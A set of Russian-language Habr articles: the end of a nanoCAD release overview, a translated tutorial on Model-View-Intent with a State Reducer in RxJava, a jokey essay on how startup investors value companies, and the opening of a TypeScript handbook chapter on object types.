Рис. 7. Параметр, управляющий отображением таблиц стилей печати в раскрывающемся списке Таблица стилей печати.
```
Системным администраторам проектных организаций понравятся новые диалоги добавления и изменения форматов бумаги – они стали более наглядны. А кроме того в них появилась возможность задавать отступы и формировать таким образом поля печати (рис. 8).
```
Рис. 8. Одно из усовершенствований системы печати – новые диалоги добавления/изменения форматов бумаги
```
#### Поддержка файлов, содержащих подложки PDF
В новой версии также реализована поддержка файлов, созданных в других CAD-системах и содержащих подложки PDF. При этом в nanoCAD можно изменять положение, масштаб и угол поворота подложки, а в окне *Свойства* доступны настройки ее отображения: имеется возможность изменять установленные настройки контрастности, слияния с фоном и монохромности. Контур подложки можно отображать и печатать (так же, как в случае растровых изображений) – для этого используется системная переменная *PDFFRAME*.
### Заключение части №1
И это только новые функции новых nanoCAD. Следующая часть будет посвящена оптимизированным функциям — в ней мы так же рассмотрим, что появилось только в nanoCAD 4.0, а что — реализованы в том числе и в 3.7.
#### Как распространяются nanoCAD 3.7 и 4.0?
Обе версии распространяются с минимальным контролем с нашей стороны: nanoCAD можно скачать и установить без регистрации. В этом случае программа будет запускаться в демонстрационном режиме.
Техническое ограничение у демонстрационного режима одно: при печати по полю чертежа хаотично выводится надпись «Демонстрационная версия». Юридическое ограничение также есть — демонстрационную версию не разрешается использовать в коммерческом режиме.
Для коммерческого использования nanoCAD надо зарегистрироваться на сайте разработчика и либо приобрести ([nanoCAD 4.0](http://www.nanocad.ru/products/detail.php?ID=606057)), либо получить бесплатно лицензию на право использования в [Личном кабинете\Управление лицензиями](http://www.nanocad.ru/personal/free.php) (в случае использования бесплатного [nanoCAD 3.7](http://www.nanocad.ru/products/detail.php?ID=371)).
Ваши вопросы/пожелания? :-)
UPG: Продолжение публикации тут: <http://habrahabr.ru/company/nanosoft/blog/150536> | https://habr.com/ru/post/149873/ | null | ru | null |
# Реактивные приложения с Model-View-Intent. Часть 3: State Reducer
В предыдущей части мы обсудили, как реализовать простой экран с паттерном Model-View-Intent, использующим однонаправленный поток данных. В третьей части мы построим более сложный экран с MVI с помощью State Reducer.
Если вы еще не прочитали вторую часть — вам стоит это сделать перед дальнейшим чтением, потому что там описывается как мы соединили View с бизнес-логикой через Presenter и как данные двигаются в одном направлении.
Теперь давайте создадим более сложный экран:
Как вы видите, этот экран отображает список элементов (продуктов), сгруппированных по категории. Приложение отображает только 3 элемента каждой категории и пользователь может нажать «Загрузить еще», чтобы загрузить все продукты выбранной категории (http-запрос) Также пользователь может сделать Pull-To-Refresh, и когда он доберется до конца списка — загрузятся больше категорий (пагинация) Само собой, все эти действия могут быть выполнены одновременно, и каждый из них может не выполниться (например при отсутствии интернета)
Давайте реализуем это шаг за шагом. Во-первых, давайте определим интерфейс View.
```
public interface HomeView {
public Observable loadFirstPageIntent();
public Observable loadNextPageIntent();
public Observable pullToRefreshIntent();
public Observable loadAllProductsFromCategoryIntent();
public void render(HomeViewState viewState);
}
```
Реализация View достаточно прямолинейна, и потому я не буду показывать код здесь (можно найти на [github](https://github.com/sockeqwe/mosby/blob/master/sample-mvi/src/main/java/com/hannesdorfmann/mosby3/sample/mvi/view/home/HomeFragment.java)).
Теперь давайте сфокусируемся на модели. Как уже упоминалось в предыдущих частях — модель должна отражать состояние. Так что, представляю вам модель, которая называется **HomeViewState**.
```
public final class HomeViewState {
private final boolean loadingFirstPage;
private final Throwable firstPageError;
private final List data;
private final boolean loadingNextPage;
private final Throwable nextPageError;
private final boolean loadingPullToRefresh;
private final Throwable pullToRefreshError;
// ... конструктор ...
// ... геттеры ...
}
```
Обратите внимание на то, что **FeedItem** — это просто интерфейс, который должен реализовывать каждый элемент, отображаемый в RecyclerView. К примеру, **Product реализовывает FeedItem**. Также отображаемое название категории **SectionHeader реализовывает FeedItem**. UI-элемент, который показывает, что могут быть загружены дополнительные элементы категории, является FeedItem и содержит внутри своё состояние для того, чтобы отобразить, загружаем ли мы дополнительные элементы в определенной категории:
```
public class AdditionalItemsLoadable implements FeedItem {
private final int moreItemsAvailableCount;
private final String categoryName;
private final boolean loading;
private final Throwable loadingError;
// ... конструктор ...
// ... геттеры ...
}
```
А так же создадим элемент бизнес-логики **HomeFeedLoader**, который отвечает за загрузку **FeedItems**:
```
public class HomeFeedLoader {
public Observable> loadNewestPage() { ... }
public Observable> loadFirstPage() { ... }
public Observable> loadNextPage() { ... }
public Observable> loadProductsOfCategory(String categoryName) { ... }
}
```
Теперь давайте всё соединим шаг за шагом в нашем Презентере. Имейте в виду, что некоторый код, представленный здесь, как часть Презентера, скорее всего должен быть перенесен в Interactor в реальном приложении (что я не сделал для лучшей читаемости). Во-первых, загрузим начальные данные:
```
class HomePresenter extends MviBasePresenter {
private final HomeFeedLoader feedLoader;
@Override
protected void bindIntents() {
Observable loadFirstPage = intent(HomeView::loadFirstPageIntent)
.flatMap(ignored -> feedLoader.loadFirstPage()
.map(items -> new HomeViewState(items, false, null) )
.startWith(new HomeViewState(emptyList, true, null) )
.onErrorReturn(error -> new HomeViewState(emptyList, false, error))
subscribeViewState(loadFirstPage, HomeView::render);
}
}
```
Пока всё идет хорошо, нет больших отличий с тем, как мы реализовали “экран поиска” в части 2. Теперь давайте попробуем добавить поддержку Pull-To-Refresh:
```
class HomePresenter extends MviBasePresenter {
private final HomeFeedLoader feedLoader;
@Override
protected void bindIntents() {
Observable loadFirstPage = ... ;
Observable pullToRefresh = intent(HomeView::pullToRefreshIntent)
.flatMap(ignored -> feedLoader.loadNewestPage()
.map( items -> new HomeViewState(...))
.startWith(new HomeViewState(...))
.onErrorReturn(error -> new HomeViewState(...)));
Observable allIntents = Observable.merge(loadFirstPage, pullToRefresh);
subscribeViewState(allIntents, HomeView::render);
}
}
```
Но постойте: **feedLoader.loadNewestPage()** возвращает только новые элементы, а что же с предыдущими элементами, которые мы загрузили ранее? В “традиционном” MVP кто-то может сделать **view.addNewItems(newItems)**, но в первой части мы уже обсудили, почему это плохая идея («Проблема состояния») Проблема, с которой мы сейчас столкнулись, такова: Pull-To-Refresh зависит от предыдущего HomeViewState, так как мы хотим объединить предыдущие элементы с элементами, которые вернулись от Pull-To-Refresh.
### Дамы и Господа, прошу любить и жаловать — State Reducer
State Reducer является концептом из функционального программирования. Он принимает предыдущее состояние на вход и вычисляет новое состояние из предыдущего состояния:
```
public State reduce( State previous, Foo foo ){
State newState;
// ... вычисление нового State на основании предыдущего с применением Foo
return newState;
}
```
Идея в том, что метод reduce() объединяет предыдущее состояние с foo, чтобы вычислить новое состояние. Foo обычно представляет собой изменения, которые мы хотим применить к предыдущему состоянию. В нашем случае, мы хотим объединить предыдущий HomeViewState (изначально полученный от loadFirstPageIntent) с результатами от Pull-To-Refresh. Оказывается, в RxJava есть специальный оператор для этого — **scan()**. Давайте изменим наш код немного. Нам нужно создать еще один класс, который будет отражать частичное изменение (в коде выше он называется Foo) и использоваться для вычисления нового состояния:
**HomePresenter**
```
class HomePresenter extends MviBasePresenter {
private final HomeFeedLoader feedLoader;
@Override
protected void bindIntents() {
Observable loadFirstPage = intent(HomeView::loadFirstPageIntent)
.flatMap(ignored -> feedLoader.loadFirstPage()
.map(items -> new PartialState.FirstPageData(items) )
.startWith(new PartialState.FirstPageLoading(true) )
.onErrorReturn(error -> new PartialState.FirstPageError(error))
Observable pullToRefresh = intent(HomeView::pullToRefreshIntent)
.flatMap(ignored -> feedLoader.loadNewestPage()
.map( items -> new PartialState.PullToRefreshData(items)
.startWith(new PartialState.PullToRefreshLoading(true)))
.onErrorReturn(error -> new PartialState.PullToRefreshError(error)));
Observable allIntents = Observable.merge(loadFirstPage, pullToRefresh);
HomeViewState initialState = ... ; // Показать загрузку первой страницы
Observable stateObservable = allIntents.scan(initialState, this::viewStateReducer)
subscribeViewState(stateObservable, HomeView::render);
}
private HomeViewState viewStateReducer(HomeViewState previousState, PartialState changes){
...
}
}
```
Теперь каждый Intent возвращает Observable вместо Observable. Затем мы объединяем их в один Observable с помощью **Observable.merge()** и наконец применяем оператор **Observable.scan()**. Это означает, что когда бы пользователь не запустил intent, этот intent создаст объекты **PartialState**, которые будут сведены к **HomeViewState**, который в свою очередь будет отображен на View (HomeView.render(HomeViewState)). Единственная пропущенная часть — это сама функция сведения. Сам по себе класс HomeViewState не изменился, но мы добавили Builder (паттерн Builder) и теперь можем создавать новые объекты HomeViewState удобным способом. Теперь давайте реализуем функцию сведения:
**viewStateReducer**
```
private HomeViewState viewStateReducer(HomeViewState previousState, PartialState changes){
if (changes instanceof PartialState.FirstPageLoading)
return previousState.toBuilder()
.firstPageLoading(true)
.firstPageError(null)
.build()
if (changes instanceof PartialState.FirstPageError)
return previousState.builder()
.firstPageLoading(false)
.firstPageError(((PartialState.FirstPageError) changes).getError())
.build();
if (changes instanceof PartialState.FirstPageLoaded)
return previousState.builder()
.firstPageLoading(false)
.firstPageError(null)
.data(((PartialState.FirstPageLoaded) changes).getData())
.build();
if (changes instanceof PartialState.PullToRefreshLoading)
return previousState.builder()
.pullToRefreshLoading(true)
.nextPageError(null)
.build();
if (changes instanceof PartialState.PullToRefreshError)
return previousState.builder()
.pullToRefreshLoading(false) // Hide pull to refresh indicator
.pullToRefreshError(((PartialState.PullToRefreshError) changes).getError())
.build();
if (changes instanceof PartialState.PullToRefreshData) {
List data = new ArrayList<>();
data.addAll(((PullToRefreshData) changes).getData());
data.addAll(previousState.getData());
return previousState.builder()
.pullToRefreshLoading(false)
.pullToRefreshError(null)
.data(data)
.build();
}
throw new IllegalStateException("Don't know how to reduce the partial state " + changes);
}
```
Я знаю, что все эти проверки instanceof не очень хорошие, но смысл этой статьи не в этом. Почему технические блоггеры пишут «плохой» код, как в примере выше? Потому что мы хотим сконцентрироваться на определенной теме без того, чтобы заставлять читателя держать в голове весь исходный код (например, нашего приложения с корзиной товаров) или знать определенные паттерны проектирования. Поэтому я считаю, что лучше избегать в статье паттернов, которые сделают код лучше, но также могут привести к худшей читаемости. В центре внимания этой статьи — State Reducer. Глядя на него с проверками instanceof, любой может понять, что он делает. Должны ли вы использовать проверки instanceof в вашем приложении? Нет, используйте паттерны проектирования или другие решения. К примеру, можно объявить PartialState интерфейсом с методом public HomeViewState computeNewState(previousState). В целом, вы можете найти [RxSealedUnions](https://github.com/pakoito/RxSealedUnions) от Paco Estevez полезным, когда будете разрабатывать приложения с MVI.
Окей, я думаю вы поняли идею работы State Reducer. Давайте реализуем оставшийся функционал: пагинацию и возможность загрузить больше элементов определенной категории.
**HomePresenter**
```
class HomePresenter extends MviBasePresenter {
private final HomeFeedLoader feedLoader;
@Override
protected void bindIntents() {
Observable loadFirstPage = ... ;
Observable pullToRefresh = ... ;
Observable nextPage =
intent(HomeView::loadNextPageIntent)
.flatMap(ignored -> feedLoader.loadNextPage()
.map(items -> new PartialState.NextPageLoaded(items))
.startWith(new PartialState.NextPageLoading())
.onErrorReturn(PartialState.NexPageLoadingError::new));
Observable loadMoreFromCategory =
intent(HomeView::loadAllProductsFromCategoryIntent)
.flatMap(categoryName -> feedLoader.loadProductsOfCategory(categoryName)
.map( products -> new PartialState.ProductsOfCategoryLoaded(categoryName, products))
.startWith(new PartialState.ProductsOfCategoryLoading(categoryName))
.onErrorReturn(error -> new PartialState.ProductsOfCategoryError(categoryName, error)));
Observable allIntents = Observable.merge(loadFirstPage, pullToRefresh, nextPage, loadMoreFromCategory);
HomeViewState initialState = ... ;
Observable stateObservable = allIntents.scan(initialState, this::viewStateReducer)
subscribeViewState(stateObservable, HomeView::render);
}
private HomeViewState viewStateReducer(HomeViewState previousState, PartialState changes){
if (changes instanceof PartialState.NextPageLoading) {
return previousState.builder().nextPageLoading(true).nextPageError(null).build();
}
if (changes instanceof PartialState.NexPageLoadingError)
return previousState.builder()
.nextPageLoading(false)
.nextPageError(((PartialState.NexPageLoadingError) changes).getError())
.build();
if (changes instanceof PartialState.NextPageLoaded) {
List data = new ArrayList<>();
data.addAll(previousState.getData());
data.addAll(((PartialState.NextPageLoaded) changes).getData());
return previousState.builder().nextPageLoading(false).nextPageError(null).data(data).build();
}
if (changes instanceof PartialState.ProductsOfCategoryLoading) {
int indexLoadMoreItem = findAdditionalItems(categoryName, previousState.getData());
AdditionalItemsLoadable ail = (AdditionalItemsLoadable) previousState.getData().get(indexLoadMoreItem);
AdditionalItemsLoadable itemsThatIndicatesError = ail.builder()
.loading(true).error(null).build();
List data = new ArrayList<>();
data.addAll(previousState.getData());
data.set(indexLoadMoreItem, itemsThatIndicatesError);
return previousState.builder().data(data).build();
}
if (changes instanceof PartialState.ProductsOfCategoryLoadingError) {
int indexLoadMoreItem = findAdditionalItems(categoryName, previousState.getData());
AdditionalItemsLoadable ail = (AdditionalItemsLoadable) previousState.getData().get(indexLoadMoreItem);
AdditionalItemsLoadable itemsThatIndicatesError = ail.builder().loading(false).error( ((ProductsOfCategoryLoadingError)changes).getError()).build();
List data = new ArrayList<>();
data.addAll(previousState.getData());
data.set(indexLoadMoreItem, itemsThatIndicatesError);
return previousState.builder().data(data).build();
}
if (changes instanceof PartialState.ProductsOfCategoryLoaded) {
String categoryName = (ProductsOfCategoryLoaded) changes.getCategoryName();
int indexLoadMoreItem = findAdditionalItems(categoryName, previousState.getData());
int indexOfSectionHeader = findSectionHeader(categoryName, previousState.getData());
List data = new ArrayList<>();
data.addAll(previousState.getData());
removeItems(data, indexOfSectionHeader, indexLoadMoreItem);
// Добавляем все элементы категории (включая ранее удаленные)
data.addAll(indexOfSectionHeader + 1,((ProductsOfCategoryLoaded) changes).getData());
return previousState.builder().data(data).build();
}
throw new IllegalStateException("Don't know how to reduce the partial state " + changes);
}
}
```
Реализация пагинации (загрузки следующей “страницы” с элементами) довольно похожа на pull-to-refresh за исключением того, что мы добавляем загруженные элементы в конец списка, вместо того, чтобы добавлять их в начало (как мы делаем при pull-to-refresh) Интереснее то, как мы загружаем больше элементов определенной категории. Для отображения индикатора загрузки или кнопки повтора/ошибки для выбранной категории мы просто должны найти соответствующий объект AdditionalItemsLoadable в списке всех FeedItem. Затем мы меняем этот элемент, чтобы отобразить индикатор загрузки или кнопку повтора/ошибку. Если мы успешно загрузили все элементы в определенной категории — мы ищем SectionHeader и AdditionalItemsLoadable, а затем заменяем все элементы между ними новыми загруженными элементами.
### Заключение
Целью этой статьи было показать, как State Reducer может помочь нам проектировать сложные экраны с помощью небольшого и понятного кода. Просто сделайте шаг назад и подумайте, как бы вы реализовали это с “традиционным” MVP или MVVM без State Reducer? Ключевым моментом, который позволяет нам использовать State Reducer, является то, что у нас присутствует модель, которая отражает состояние. Поэтому, было очень важно понять из первой части этой серии статей, что такое Модель. Так же, State Reducer может быть использован, только если мы можем быть уверены, что Состояние (а точнее — Модель) исходит из единого источника. Поэтому, однонаправленный поток данных также очень важен. Я думаю, теперь понятно, почему мы остановились на этих темах в первой и второй части этой серии статей, и надеюсь у вас произошел тот самый “ага!” момент, когда все точки соединяются вместе. Если нет — не переживайте, для меня это заняло достаточно много времени ( и много практики, и много ошибок и повторений).
Возможно, вы задаетесь вопросом — почему мы не использовали State Reducer на экране поиска (во второй части). Использование State Reducer в основном имеет смысл, когда мы каким-то образом зависим от предыдущего состояния.
Последнее, но не менее важное, на чем я хочу остановиться — если вы еще не заметили (без погружения в детали) все наши данные — неизменные (мы всегда создаем новый HomeViewState, мы никогда не вызываем setter-метод на любом из объектов). Поэтому, у вас не должно возникнуть проблем с многопоточностью. Пользователь может сделать pull-to-refresh и в то же время загрузить новую страницу и загрузить больше элементов определенной категории, потому что State Reducer в состоянии произвести правильное состояние без зависимости от порядка http-ответов. В дополнение, мы написали наш код с помощью простых функций, без [побочных эффектов](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B1%D0%BE%D1%87%D0%BD%D1%8B%D0%B9_%D1%8D%D1%84%D1%84%D0%B5%D0%BA%D1%82_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)). Это делает наш код супертестируемым, воспроизводимым, высокопараллелизуемым и простым в обсуждении.
Конечно, State Reducer не был изобретен для MVI. Вы можете найти концепты State Reducer во множестве библиотек, фреймворков и систем на разных языках программирования. State Reducer великолепно встраивается в философию Model-View-Intent с однонаправленным потоком данных и Моделью, отражающей Состояние.
В следующей части мы сфокусируемся на том, как создать переиспользуемые и реактивные UI-компоненты с MVI. | https://habr.com/ru/post/348908/ | null | ru | null |
# А может инвесторы не враги, просто кто-то не умеет их готовить?
*Ангелы — это то же самое, что и демоны, только гораздо большие говнюки*
вольный перевод реплики Дина Винчестера из сериала «Сверхъестественное»
Как стало модно сейчас писать — этот топик является частичным ответом (альтернативной точкой зрения) на вот этот [топик](http://habrahabr.ru/blogs/startup/118918/)
Итак, пусть у нас есть начинающий предприниматель, например, пусть его зовут Дима. Чтобы не привязываться к отраслям и компаниям, предположим, что на досуге он делает разноцветные конические втулки для предотвращения ЗППП у нильских крокодилов (далее КВ). Все его друзья, у которых дома есть нильские крокодилы приобретают КВ у него, при этом заметилось, что при использовании КВ у крокодилов лучше зеленеет кожа. Его друзья рассказали свои друзьям про разноцветные КВ, и к Диме стали постоянно поступать предложения по покупке дополнительных КВ.
Отвлечемся от лирики — у нас есть предприниматель, у которого есть идея или маленькое производство какого-либо продукта. Предприниматель желает развить свою идею до производства (превратить маленькое производство в большое). Другими словами у нас есть стартап.
**Где же взять деньги на развитие?**
1) Годами откладывать деньги, работая на чужого дядю, а по вечерам сидеть и немного заниматься своим стартапом.
2) Поделиться долями и собрать за них деньги
3) Взять кредит в банке
*Это начало, а где же конец* — реклама «МММ». Начнем с конца.
3) Взять кредит в банке. Еще недавно ставка кредитов при потребкредитовании зашкаливала за эффективные 100%. Это кредиты на покупку техники, машин, т.е. небольшие суммы денег.
Однако у нас стартап. Здесь все зависит от стадии развития проекта
— если проект уже функционирует, то надо считать. Считаем: Выручка — Себестоимость — Амортизация — Предполагаемые проценты по кредиту — Налоги = Чистая прибыль. Мы заплатили только Проценты, хватит ли Чистой прибыли на выплату Тела кредита или нет? Если нет, забываем про кредит или идем искать другой банк. Если да рассматриваем другие 2 варианта.
— если проект находится на стадии идеи, готового бизнес плана и т.д. Все сложнее. Как было отмечено в предыдущих постах в лучшем случае попросят залог, в худшем просто скажут до свидания. *Дима пошел в банк и в качестве обеспечения заложил свою квартиру, машину, дачу ~~и сиськи своей подружки~~*
1) Нет ничего такого чтобы откладывать деньги и на них реализовывать свой стартап. **Кроме одного**. Вы возможно упускаете время. *Time is money* — Из сочинения «Совет молодому купцу» (1748) знаменитого американского ученого и политического деятеля Бенджамена Франклина (1706-1790).
*Дима перестал пить пиво и откладывает каждый день по 5 рублей. На токарный станок осталось копить 5-6 лет. А пока он самостоятельно обтачивает напильником КВ и вручную разукрашивает их акварелью*
2) Ну я специально оставил этот пункт на конец, ибо он есть суть данной статьи
Итак для нашего стартапа, можно привлечь каких-нибудь специалистов, которые будут работать условно бесплатно за долю в проекте, или какого-нибудь ~~нахлебника, у которого папа работает в администрации~~ советника, который еще как-то поможет. *Дима поделился долей: с мамой за приготовление еды, с Васей за доставку пива с кухни в комнату, с Толей за фигурное раскрашивание КВ, с Таней и Ирой за прочие услуги*
Но в данном контексте нас это не интересует.
Итак мы собрались идти с идеей ~~покорения мира~~ нашего стартапа к инвестору. Зайдя на его сайт, прочитав объявление в газете и т.д., мы увидели, что необходимо подготовить целый пакет документов — описание проекта, стратегия развития, анализ текущего окружения, потенциальные конкуренты, расчеты сроков окупаемости и т.д.
~~Your Bunny Wrote — подумали мы и… расхотели идти к инвестору~~
Большая часть проектов, отбрасывается инвестором на этапе анализа этих документов, даже не приступая к рассмотрению финансовой составляющей проекта.`Спасибо КЭП, мы этого не знали`. Почему?
**Документы для подачи заявки**
* Главное заблуждение носителей идей (я об этом писал в первом своем посте на Хабре) в том, что человеку свойственно превозносить свои идеи. А так ли нужен ваш продукт человечеству. Спросите об этом парочку своих друзей, которые вообще не разбираются в том, что вы предлагаете. Способны ли Вы заинтересовать их своим продуктом. Объяснения дадут нам первый документ «описание нашего проекта». *Дима долго парил мозг голубоглазой блондинки про преимущества разноцветных КВ, и в конце концов она согласилась*
* Дальше мы должны написать анализ конкурентного окружения. Чем Ваш продукт лучше представленных на рынке. Кто еще собирается вывести такой продукт на рынок. Может компании Макрохард или ПопаТетрадка уже анонсировали выход в будущем такого продукта. Конкурировать с ними бессмысленно.`Спасибо КЭП` *Вася из соседнего подъезда при изготовлении КВ пользуется трудом китайских рабочих, разукрашивать их он не собирается, да и вообще в крокодилах он ничего не понимает*
* Анализ спроса и прогноз цен на рынке. Самый сложный вопрос во всем пакете. Здесь нам поможет обзор отраслевой прессы, комментарии аналитиков и зарубежный опыт… или не поможет. Причем необходимо рассмотреть несколько сценариев. Правильно — хороший, оптимистический и офигительный
Обоснование издержек. (Это должно быть действительно обоснование, столько-то станков нужно, столько-то уборщиц и т.д.) — зарплата, аренда, материалы, электроэнергия и т.д.
* Финансовые расчеты — *не так страшен черт, как его малюют* одна из самых легких частей. Собрать все, что есть выше перемножить спрос на цену, вычесть издержки, амортизацию, налоги, рассчитать это для каждого года. Подсчитать разные виды окупаемости, а заодно и стоимость Вашего проекта.
* И маленький, но важный, документ с описанием для чего от этого ~~козла~~потенциального инвестора в стартап нужны деньги. *В список необходимых инвестиций в свой стартап кроме обязательных вещей Дима заложил покупку автоматической носоковырялки, игрушечной машинки и… костюма Деда Мороза*Тут есть небольшая оговорка. Сравните стоимость проекта и объем требуемых инвестиций
**Все — пакет готов.**
Это количество ~~бесполезных~~ документов нужно не только инвестору, но и Вам самим для понятия, а есть ли вообще перспективы у Вашего проекта.
Документы отдаются на экспертизу в какой-нибудь отдел анализа ~~порнографических картинок~~ перспективных проектов, который перепроверяет все данные, строит свои модели по развитию Вашего стартапа и оценивает с учетом принятым в компании нормативом доходности. Как говорится проект принимается или отклоняется. *Какова вероятность, что Вы на улице встретите динозавра. Ну как либо встречу, либо нет*.
А теперь давайте обсудим тему поднятую в посте, на который пишется ответ. Откуда берутся **космические проценты** требуемые инвестором.
* Вы продаете товар, он покупает. Он стремится занизить стоимость, Вы завысить. Нормальная позиция.
* Так как стартап — высокорискованный (если бы он был низкорискованный и высокодоходный, не вы шли бы к инвестору, а инвесторы толпами стояли бы у Ваших дверей), то чаще всего его оценка будет идти по пессимистическому сценарию
* Так как выстреливают не так много проектов, то те кто выстреливают должны окупать те, которые проваливаются. Это как в кредитовании, добросовестные заемщики всегда платят за тех кто не возвращает долги. Поэтому требуемая доходность к таким проектам достаточно высока.
Пример из жизни. Один мой знакомый занимается разработкой игр для FB, он получил финансирования от, ну назовем их бизнес-ангелами, требуемая ставка доходности при оценке его компании составила 50%. Давайте подсчитаем, что такое 50% и посмотрим как такой инвестор будет оценивать такую компанию (маленький экскурс в теорию дисконтированных денежных потоков)
Пусть руководитель стартапа спрогнозировал для своего стартапа следующие денежные потоки, и допустим аналитики инвестора с ним согласились, за 1 год — 150 тугриков, а далее на 15% увеличение.
`150.00
172.50
198.38
228.13
262.35
301.70
346.96
399.00
458.85
527.68`
Стоимость такого бизнеса (стартапа) с требуемой доходностью в 50% составит 400 тугриков (прикольно да?). Ну если руководитель стартапа хочет 200 тугриков инвестиций, то **вменяемый бизнес-ангел (венчурный инвестор)** будет хотеть минимум 50% компании.
* А бухгалтерский или налоговый учет Вы знаете, а что такое патентная защита, а как продавать продукт Вашего стартапа. Как я писал ранее [(мой первый пост на Хабре)](http://habrahabr.ru/blogs/startup/19511/) каким бы гениальным не был Ваш продукт, если Вы не можете его продать, то цена ему **0**. А вот инвестор может все это предоставить
И получается, что как не выглядит это кошмарным, позиция инвестора обоснована. Это тяжело осознавать, потому что кажется что придумать идею это гораздо важнее.
Однако вырастить ребенка (довести компанию до стадии свободного плавания) гораздо сложнее, чем его зачать (придумать идею)
Фу… я дописал до сюда, а вы дочитали. *А наш Дима тем временем получил 1 млрд. долларов наличными за 0,00000000001% от компании, кроссовки Adidos и Дженифер Лопес, Жанну Фриске, Диму Билана, овечку Долли (нужное подчеркнуть) для сексуальных извращений*
**Стратегия выхода ангела из вашего бизнеса.**
Ну… он не будет с Вами и в горе и в радости пока смерть не разлучит Вас. Сфера его интересов не операционная деятельность компании, и он не институциональный (я не могу выговорить это слово) инвестор чтобы держать ваши акции. Прикиньте он так будет со всеми и до конца. В конце концов у него не будет денег для дальнейших инвестиций. Тут мы ответим на вопрос почему есть такие вещи как выход из компании после определенного срока.
— Экспертным путем устанавливается время становления бизнеса для каждой отрасли
— Инвестор считает, что если за X лет, он ничего не сделал бизнес признается не интересным
Ну мы конечно хотели, чтобы в нашем случае был первый пункт
И конечно, инвестор не дурак, в цену, за которой в конце будет продана доля в Вашем стартапе (стоп… это к тому времени будет уже не стартап, а зрелый бизнес), будут заложены все потенциальные доходы от вашего бизнеса в будущем.
Удачи! На вопросы с удовольствием отвечу в комментариях | https://habr.com/ru/post/119041/ | null | ru | null |
# Карманная книга по TypeScript. Часть 5. Объектные типы
Доброго времени суток, друзья! Мы продолжаем серию публикаций адаптированного и дополненного перевода [`"Карманной книги по TypeScript`".](https://www.typescriptlang.org/docs/handbook/intro.html)
Другие части:
* [Часть 1. Основы](https://habr.com/ru/company/macloud/blog/559902/)
* [Часть 2. Типы на каждый день](https://habr.com/ru/company/macloud/blog/559976/)
* [Часть 3. Сужение типов](https://habr.com/ru/company/macloud/blog/560594/)
* [Часть 4. Подробнее о функциях](https://habr.com/ru/company/macloud/blog/561470/)
* [Часть 5. Объектные типы](https://habr.com/ru/company/macloud/blog/562054/)
* [Часть 6. Манипуляции с типами](https://habr.com/ru/company/macloud/blog/562786/)
* [Часть 7. Классы](https://habr.com/ru/company/macloud/blog/563408/)
* [Часть 8. Модули](https://habr.com/ru/company/macloud/blog/563722/)
*Обратите внимание*: для большого удобства в изучении книга была оформлена в виде [прогрессивного веб-приложения](https://typescript-handbook.ru/).
В `JS` обычным способом группировки и передачи данных являются объекты. В `TS` они представлены объектными типами (object types).
Как мы видели ранее, они могут быть анонимными:
```
function greet(person: { name: string, age: number }) {
return `Привет, ${person.name}!`
}
```
или именоваться с помощью интерфейсов (interfaces):
```
interface Person {
name: string
age: number
}
function greet(person: Person) {
return `Привет, ${person.name}!`
}
```
или синонимов типа (type aliases):
```
type Person {
name: string
age: number
}
function greet(person: Person) {
return `Привет, ${person.name}!`
}
```
Во всех приведенных примерах наша функция принимает объект, который содержит свойство `name` (значение которого должно быть типа `string`) и `age` (значение которого должно быть типа `number`).
Модификаторы свойств (property modifiers)
-----------------------------------------
Каждое свойство в объектном типе может определять несколько вещей: сам тип, то, является ли свойство опциональным, и может ли оно изменяться.
### Опциональные свойства (optional properties)
Свойства могут быть помечены как опциональные (необязательные) путем добавления вопросительного знака (`?`) после их названий:
```
interface PaintOptions {
shape: Shape
xPos?: number
yPos?: number
}
function paintShape(opts: PaintOptions) {
// ...
}
const shape = getShape()
paintShape({ shape })
paintShape({ shape, xPos: 100 })
paintShape({ shape, yPos: 100 })
paintShape({ shape, xPos: 100, yPos: 100 })
```
Все вызовы функции в приведенном примере являются валидными. Опциональность означает, что если свойство установлено, оно должно иметь указанный тип.
Мы можем получать значения таких свойств. Однако, при включенной настройке `strictNullChecks`, мы будем получать сообщения о том, что потенциальными значениями опциональных свойств является `undefined`:
```
function paintShape(opts: PaintOptions) {
let xPos = opts.xPos
// (property) PaintOptions.xPos?: number | undefined
let yPos = opts.yPos
// (property) PaintOptions.yPos?: number | undefined
// ...
}
```
В `JS` при доступе к несуществующему свойству возвращается `undefined`. Добавим обработку этого значения:
```
function paintShape(opts: PaintOptions) {
let xPos = opts.xPos === undefined ? 0 : opts.xPos
// let xPos: number
let yPos = opts.yPos === undefined ? 0 : opts.yPos
// let yPos: number
// ...
}
```
Теперь все в порядке. Но для определения "дефолтных" значений (значений по умолчанию) параметров в `JS` существует специальный синтаксис:
```
function paintShape({ shape, xPos = 0, yPos = 0 }: PaintOptions) {
console.log('x coordinate at', xPos)
// var xPos: number
console.log('y coordinate at', yPos)
// var yPos: number
// ...
}
```
В данном случае мы [деструктурировали](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) параметр `painShape` и указали значения по умолчанию для `xPos` и `yPos`. Теперь они присутствуют в теле функции `painShape`, но являются опциональными при ее вызове.
*Обратите внимание*: в настоящее время не существует способа поместить аннотацию типа в деструктуризацию, поскольку такой синтаксис будет интерпретирован `JS` иначе:
```
function draw({ shape: Shape, xPos: number = 100 /*...*/ }) {
render(shape)
// Cannot find name 'shape'. Did you mean 'Shape'?
// Невозможно найти 'shape'. Возможно, вы имели ввиду 'Shape'
render(xPos)
// Cannot find name 'xPos'.
// Невозможно найти 'xPos'
}
```
`shape: Shape` означает "возьми значение свойства `shape` и присвой его локальной переменной `Shape`". Аналогично `xPos: number` создает переменную `number`, значение которой основано на параметре `xPos`.
Свойства, доступные только для чтения (readonly properties)
-----------------------------------------------------------
Свойства могут быть помечены как доступные только для чтения с помощью ключевого слова `readonly`. Такие свойства не могут перезаписываться в процессе проверки типов:
```
interface SomeType {
readonly prop: string
}
function doSomething(obj: SomeType) {
// Мы может читать (извлекать значения) из 'obj.prop'.
console.log(`prop has the value '${obj.prop}'.`)
// Но не можем изменять значение данного свойства
obj.prop = 'hello'
// Cannot assign to 'prop' because it is a read-only property.
// Невозможно присвоить значение 'prop', поскольку оно является доступным только для чтения
}
```
Использование модификатора `readonly` не делает саму переменную иммутабельной (неизменяемой), это лишь запрещает присваивать ей другие значения:
```
interface Home {
readonly resident: { name: string, age: number }
}
function visitForBirthday(home: Home) {
// Мы можем читать и обновлять свойства 'home.resident'.
console.log(`С Днем рождения, ${home.resident.name}!`)
